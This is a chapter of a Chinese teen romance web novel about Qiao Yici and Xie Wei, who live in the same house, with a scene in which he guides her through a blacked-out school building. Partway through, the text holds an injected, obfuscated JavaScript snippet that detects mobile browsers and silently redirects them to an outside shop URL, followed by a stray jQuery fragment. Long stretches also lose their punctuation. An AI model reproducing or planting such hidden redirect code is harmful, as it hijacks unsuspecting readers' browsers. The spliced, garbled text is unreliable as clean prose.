放学后,乔意瓷又在学校舞蹈房多留了一个半小时,专心练习她练得不满意的部分。
她并不着急走,反正每天放学后来接她和谢违的司机是两个人。
时钟指到七点时,乔意瓷才不慌不忙把东西都收拾好,和许悦宇说说笑笑,朝校门口走。
谢家负责接送的车还停在老地方。
乔意瓷拉开车门,弯腰刚要坐进去,就看到谢违坐在车里。
她猛地愣住,一时忘了上车。
许是她怔愣的时间有点长,谢违又摆出她熟悉的臭脸,剑眉不悦拧起,掀眸朝她睨过来,
“要我请你上来?”
感受到他的不耐,乔意瓷抿了抿唇,在他冰冷的注视下将车门关上,绕到另一侧上车。
她坐稳后,前排司机笑呵呵转过来跟她解释:“今天下午老林临时请假,我就把少爷和你一起接回去。”
原来是这样。
那谢违岂不是坐在车里等了她一个小时。
难怪脸这么臭。
乔意瓷惯会讨长辈开心,弯起明亮的眼眸,嘴甜道:“谢谢陈叔。”
她话音刚落,就听到旁边谢违发出一声似有若无的轻嗤。
带着嘲弄意味。
他们的书包都放在中间,恰好隔开两人,谁也不挨着谁。
乔意瓷每次练完舞,腿都会有点酸胀,下车后慢吞吞地跟在谢违后面。
于是前方单肩挎着书包,单手抄兜的谢违便精准落在她的视野范围内。
正是长身体的年纪,即使是普通的蓝白校服,也勾勒出男生挺拔劲瘦的身材。
宽肩长腿,骨骼锋利,露在短袖外的手臂肌肉线条流畅漂亮,举手投足间都是这个年纪的少年锐气。
她在后面肆无忌惮地打量着,虽然谢违脾气是坏了些,但她不得不承认,谢违这张脸真的是帅得无可挑剔。
是以后破产去当鸭也是当之无愧的头牌程度。
她没想到谢违会突然转身朝她看过来,来不及收回视线,直接对上他那双漆黑凌厉的眼。
幸好他只是看了她一眼,看她落后他一截,嘴角勾了勾,快步走进别墅。
大概是在嫌弃她走得慢。
/
晚上吃完饭后,乔意瓷就回房间订正月考试卷,她想走艺考这条路,文化课也当然不能落下。
高中学得越来越难,她学得也比较吃力,文化课成绩不是很理想。
没有听到蝉鸣的夏天是不完整的
。
夏季的尾巴,依然炎热,即使是在这样的高档别墅区,也能听到聒噪的蝉鸣。
乔意瓷洗完澡后,口渴的感觉更强烈了。她吹干头发,到一楼餐厅里倒水喝。
她刚倒完水,仰头正喝着,门口就响起脚步声,她下意识抬眸看去,看到谢违抱着篮球回来了。
一看就知道晚上又跟他的好兄弟们打球去了,还打到这么晚才回来。
谢违也没想到这么晚,乔意瓷还在一楼,黑沉沉的目光在她身上停留了一会儿,不知道在想什么。
被他目光炙热地盯着,乔意瓷一时紧张,被水呛到,猛地咳嗽起来。
听到她的咳嗽声,谢违敛了敛眸,不但没像往常那样上楼,还提步朝她走来。
面容冷淡,跟个大爷似的,下巴微抬,示意她:“给我倒杯水。”
走近后,谢违身上的男生气息更加热烈,无形萦绕在乔意瓷周围,霸道地将她裹挟其中。
他身上的汗味并不难闻,像是冷冽清凉的薄荷撞上松木,将汗味削淡。
乔意瓷瞥了他一眼,谢违身上的黑色球衣都汗湿了,手臂上的薄肌因为充血更加明显,胸膛还在剧烈起伏着,浑身散发着少年张扬恣意的痞气。
黑发湿漉漉地垂在额前,深刻眉骨下的乌黑瞳眸投出更为炽热的眼神,让她不敢跟他对视。
乔意瓷压下肺腔里的痒意,从桌上拿了一只杯子,又倒了一杯水。
谢违走到水池边洗干净手,就回到餐桌旁,无比自然地拿起她给他倒的那杯水,仰头就喝。
小石子似的喉结随着他吞咽的动作上下滚动。
乔意瓷突然生出些不自在,不想跟他待在一起,转身就要走,被谢违懒声叫住:“做亏心事了?”
身后男生的声音不轻不重,在夜里也不显得突兀,但足以让乔意瓷停下脚步。
她缓缓回身,看到不远处谢违唇角淡扯着,她不解:“……什么?”
“没做亏心事,你为什么不看我?”
谢违眉眼冷戾,落在乔意瓷脸上的目光深沉锐利,仿佛能轻易洞悉一切。
面前的少女皮肤瓷白,五官无一不是精致,漂亮得像个瓷娃娃。一头乌黑的长发还半湿着垂在肩头,双颊透着洗完澡后的粉意。
刚才他一走过来,就闻到她身上淡淡的花香,好几次了,应该是她最近新换的沐浴露的味道。
谢违不经意间低眼,看到她睡裙下那双
纤细笔直的长腿,在灯光下显得更加莹白。
腿上并无伤痕,没受伤下车之后还走那么慢,真是太娇气。
他只匆匆掠了一眼,便移开视线。
乔意瓷没捕捉到他看她的眼神,故意说:“我哪有不敢看你,你身上都是汗味,我嫌弃你。”
果然她说完后,谢违扯了扯唇,脸色阴下来几分,自己又倒了半杯水,嗤道:“你香。”
乔意瓷微微抬高下巴,跟他顶嘴:“我当然香了。”
她可是精致的小仙女,怎么可能像他一样暴汗呢。
和谢违同住一个屋檐下也有五年了,虽然她心里对谢违还是有些畏惧,毕竟他眉眼硬朗冷峭,透着不好惹的野性与疏离,让人不敢接近。
但熟悉之后,她偶尔也敢大着胆子和谢违叫板。
总归他不能跟她动手。
谢违不说话了。
乔意瓷正暗暗开心谢违被她说得破防了,抿着唇克制住唇角上扬的弧度。
一抬眸就注意到谢违正黑眸沉沉地盯着她,他眼皮褶皱深又窄,这样直勾勾盯着人看,显得格外专注。
放浪形骸的专注,有些不合时宜。
谢违懒洋洋从岛台边挺身,一步步朝她走来。
他步伐快又稳,乔意瓷的心跳漏了一拍,眼睫颤了好几下。
只是谢违路过她身边时,连停顿都没有,只是眉头微挑,拖着懒散的腔调,冷冷道:
“衣服穿好。”
“……”衣服怎么没有穿好?
乔意瓷茫然片刻,还没反应过来,谢违已经擦着她的肩朝楼上走去。
她低头一看,才发现睡裙右侧的肩带不知何时滑落,挂在她的手臂上。
乔意瓷小脸一红,赶紧抬手将右侧的肩带拉上去,若无其事地在原地站了一会儿,唇瓣都咬出齿印了,确保谢违进房间,才趿着拖鞋闷头往楼上跑。
太丢脸了!
谢违不会以为她刚才在故意勾引他吧。
她现在心里可没有这种想法。
以后说不准。
/
最近,市三中有两个高一学生在校期间失踪了,警方无论怎么找也找不到人,怀疑有人贩子进学校了。
这件事瞬间引起学生及家长的不安,每所高中都加强了安保系统和日常校园巡查。
这天还没到六点,许悦宇就收拾好东西,跟还在练舞的乔意瓷说:“意瓷,我爸妈今天晚上要带我去叔叔家吃饭,我先走了啊。”
乔意瓷点头:“嗯好。”
本来乔意瓷和许悦宇是每天舞蹈室最后离开的也是结伴出校门。
今天许悦宇临时有事先走了就意味着乔意瓷要一个人从舞蹈室走到校门口。
要是放在之前乔意瓷完全没觉得害怕但最近出了那些事有点风吹草动都要引起高度关注。
她嘴上说不怕心里还是担心的。
谢家的司机每天都是准时到门口接的临时让早点来的话可能会打乱陈叔别的安排。
乔意瓷也不相信自己会这么倒霉努力摒弃杂念踏踏实实练舞。
不知不觉舞蹈室里的其他同学都走了明亮宽敞的房间里只剩下她一人。
谢违来时站在舞蹈室外透过玻璃窗向里看看到的便是乔意瓷专注练舞的画面。
少女四肢纤细身段窈窕天鹅颈直角肩背薄而挺那腰肢看上去更是不盈一握动作细腻优雅每动一下都像灵动的蝴蝶在翩翩起舞。
谢违眸色暗了一瞬长腿微屈就这样斜斜倚在门框边偏头望着乔意瓷跳舞。
乔意瓷专注凝神完全没有注意到门外有人在看她。
她低着头认真研究舞步舒展手臂时身体的曲线优美轻盈得宛若山间精灵。
从谢违的视角能看到乔意瓷同样绝美的侧脸她脸侧的碎发在她转动间轻然飘动随手绑的丸子头饱满洋溢着少女的青春明媚。
谢违曾说她娇气说她装柔弱说她胆小
假的不能再假的话说出来不是自证年少眼瞎嘛。
不止是这间舞蹈室艺术楼里的人都渐渐离开走廊都变得安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493687|137460||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
空旷。
谢违看得入神也忘却了时间双腿都有点僵硬了。反应过来后他浓眉微蹙对自己现在的行为嗤之以鼻。
他不该耐心等她而应该直接冷着脸把她叫出来。
看她跟不跟他走。
谢违抬起右手屈起手指刚要敲玻璃窗突然艺术楼里的灯全部熄灭眼前顷刻间陷入一片黑暗。
还逗留在楼里的学生纷纷发出惊讶的叫声将气氛渲染得有些恐怖紧张。
舞蹈室里拉了窗帘灯光没了后黑得伸手不见五指。
乔意瓷本来没那么害怕的灯一关远处阴森森传来鬼哭狼嚎般的声音她心里也跟着慌起来。
试探着往前走时她好
像撞到了椅子她身形微晃下意识伸手想扶住墙壁慌乱中抓住了一只大手。
她终于忍不住叫了一声下意识要甩开这只手。
舞蹈室里不是只有她一个人吗?这人从哪冒出来的?不会就是警方在抓的坏人吧?
乔意瓷出了一身冷汗也不管看得见看不见路转身就要跑。
下一秒那只手再次精准扼住她的手腕终于舍得出声:“是我。”
男生懒散的声音里带着低沉音质偏冷但在这时听起来却无比暖人心。
乔意瓷在他开口时就听出来扼住她手腕的人是谢违。
心里的石头终于落地急促的呼吸都放慢下来也不试着把手腕从他手里挣出来了任由他拉着。
现在有了依靠委屈和害怕也随即涌上心头乔意瓷主动往谢违身边挪了两步声音染上哭腔:“谢违你怎么来了?”
她带着哭腔的声音软软的谢违喉结滚了滚看到她在黑暗中的轮廓。
真是个胆小鬼。
“今天林叔有事不能来接我可不想再在车里等你一个半小时。”谢违声音听起来冷冰冰的。
“噢。”
他的话漏洞百出但乔意瓷现在哪里还分得出心思去分辨他说的是真话还是假话。
谢违见她现在特别听话把手机的手电筒打开驱散了笼罩在舞蹈室里的黑暗他松开握在她细腕上的手说:“去把书包拿上换衣服走了。”
闻言乔意瓷立刻转身去把书包收拾好和谢违一起朝卫生间走去。
进卫生间之前乔意瓷拿上谢违的手机回头看了他一眼漂亮的眼睛里还有泪光她不放心地叮嘱:
“你就在门口你千万别走。”
谢违这还是第一次站在女卫生间前不走漠着脸点了点头吓唬她:“你要是再磨蹭我就走了。”
乔意瓷听说他要走又挪着小步子回来
“知道了。”谢违微微皱眉神情一贯冷峻。
反正现在也没什么人乔意瓷在卫生间里还会不放心地喊谢违的名字看他走了没有。
要是谢违不答应她就委屈地一直喊听到谢违回答才放心继续换。
走过幽暗的长廊时贴着地面的安全通道指示灯发出莹莹绿光乔意瓷手里攥着谢违短袖下摆跟在他身后走途中还不小心踩了他好几脚
。
下楼时,乔意瓷一时没注意,踩了个空,差点从楼梯上摔下去。
幸好谢违时刻用余光注意着她的情况,眼疾手快将她拉进怀里。
乔意瓷站到和他同级的台阶上,鼻尖撞上他的胸膛,把她疼得眼泪都出来了。
她觉得这么走不安全,和谢违的距离还是有点远。
乔意瓷轻轻咬了咬唇瓣,犹豫了几秒后跟谢违打商量:
“你能不能还牵着我的手腕走?
谢违没说话。
担心他不同意,乔意瓷撇了撇嘴,眼眸亮晶晶的,补充道:“不牵手,手腕就行,你的衣服我抓不住……
他走得一快,他的衣服就从她手里溜走,安全感远不及那会儿在舞蹈室里。
泪涔涔的水眸看得谢违没了脾气,他定定看了她几秒,浓眉一皱,动作粗鲁地直接牵起她的手,拉着她继续下楼。
少女的手比他小很多,握在手心里柔软如云。
谢违没忍住手上用力,面上故作冷淡,嘴里凶巴巴地数落她:
“我在这,你怕什么?
“拉个衣服都能脱手,肌无力?
“娇气又胆小,没见过你这样的,你以后怎么办?
然而他的一通输出只换来身边少女不满的娇嗔:“谢违你能不能别说话啦,小心把坏人引来。
谢违:“……
坏人?
他看这里最坏的就是她了,用几滴眼泪就骗他去牵她的手。
下次不能再对她心软了。